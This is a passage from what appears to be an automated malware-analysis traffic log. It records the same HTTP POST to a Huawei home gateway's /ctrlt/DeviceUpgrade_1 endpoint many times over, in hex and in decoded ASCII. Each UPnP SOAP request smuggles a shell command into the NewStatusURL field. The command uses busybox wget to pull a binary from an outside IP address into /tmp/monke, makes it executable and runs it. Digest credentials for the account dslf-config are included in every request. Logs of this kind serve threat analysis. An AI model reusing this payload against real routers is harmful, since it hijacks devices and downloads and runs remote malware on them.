75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:s
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 